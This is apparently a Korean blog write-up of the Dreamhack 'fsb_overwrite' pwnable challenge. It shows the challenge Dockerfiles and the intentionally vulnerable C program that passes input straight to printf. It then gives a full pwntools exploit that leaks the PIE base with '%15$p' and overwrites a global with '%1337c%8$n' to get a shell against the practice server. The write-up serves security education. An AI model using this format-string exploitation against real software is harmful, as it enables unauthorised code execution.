Dreamhack/Pwnable 문제 풀이

[Pwnable Advanced] Exploit Tech: Format String Bug

seobangwool 2026. 4. 15. 11:24

제공 Docker file

FROM ubuntu:22.04@sha256:b6b83d3c331794420340093eb706a6f152d9c1fa51b262d9bf34594887c2c7ac

ENV user fsb_overwrite
ENV chall_port 7182

RUN apt-get update
RUN apt-get -y install socat

RUN adduser $user

ADD ./private/flag /home/$user/flag
ADD ./public/$user /home/$user/$user

RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user

RUN chmod 755 /home/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag

WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 10 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user

Dockerfile (분석)

FROM ubuntu:22.04

ENV PATH="${PATH}:/usr/local/lib/python3.10/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8

RUN apt update && apt install -y \
    gcc \
    git \
    python3 \
    python3-pip \
    ruby \
    sudo \
    tmux \
    vim \
    wget \
    gdb \
    curl \
    build-essential \
    libssl-dev \
    libffi-dev \
    libglib2.0-dev \
    python3-dev

WORKDIR /root

# install pwndbg
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh

# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools

# install one_gadget
RUN gem install one_gadget -v 1.6.2

WORKDIR /root
COPY . /root

fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];

  setbuf(stdout, NULL);

  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

 

코드 분석

get_string으로 입력을 계속 받고있고, int changeme 가 1337 일 때 정답이 되므로 저 변수만 값을 조정해주면 쉽게 해결할 수 있는 문제이다.

위치입력을 받는 곳과 changegame이 어디있는지 동적분석으로 파악해보자.

적용 보안기법

pwndbg> checksec
[*] '/root/fsb_overwrite'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled



동적 분석

분석에 들어가기 전에 우선 파일을 실행시켜서 어떤 값을 내오는지 봤다.

image

그리고 changeme 가 어디 존재하는지 봐주자.

 

image

 

changeme의 주소는 0x5da8ac9cc01coffset = 0x3000, +0x1c 위치라는 bss 영역인 걸 확인했다.

그리고 이제 스택 영역에서 main주소가 담겨있는 곳을 알아낸 뒤 PIE의 베이스 주소를 구하면 된다.

 

image

(이전 사진에 x/g 명령어 오류가 있어서 사진을 대체함. main 주소는 달라졌으나 인자 순서는 동일함.)

이렇게 get_string 함수 이전에 스택이 어떻게 생겼는지와, 메인 주소와의 거리도 계산해줘서 15번째 인자를 호출해주면 되는 것을 쉽게 알아낼 수 있다.

여기까지 코드를 짜보자.

 

익스플로잇코드 (base 구하기)

from pwn import *

p = process('./fsb_overwrite')
e = ELF('./fsb_overwrite')

offset_changeme = e.symbols['changeme']
offset_main = e.symbols['main']
print("main offset: ", hex(offset_main))

p.sendline(b'%15$p')
main_addr = int(p.recvline()[:-1], 16)

base = main_addr - offset_main
changeme = base + offset_changeme

print("base: ", hex(base))
print("changeme: ", hex(changeme))

p.interactive()

image

그럼 이제 마무리를 해보자.

우리가 쓰는 값들은 이전 사진에서 보이듯 rsp+8 위치, 즉 8번째 인자에 저장되므로 8번째 기준으로 익스플로잇 코드를 작성해주면 된다.

 

익스플로잇 코드

from pwn import *

#p = process('./fsb_overwrite')
p= remote("host3.dreamhack.games" ,15593)
e = ELF('./fsb_overwrite')

offset_changeme = e.symbols['changeme']
offset_main = e.symbols['main']
print("main offset: ", hex(offset_main))

p.sendline(b'%15$p')
main_addr = int(p.recvline()[:-1], 16)

base = main_addr - offset_main
changeme = base + offset_changeme

print("base: ", hex(base))
print("changeme: ", hex(changeme))

payload = b'%1337c%8$n' + b'A'*6 + p64(changeme)
p.sendline(payload)

p.interactive()

imageimage

이렇게 쉽게 플래그를 얻어냈다.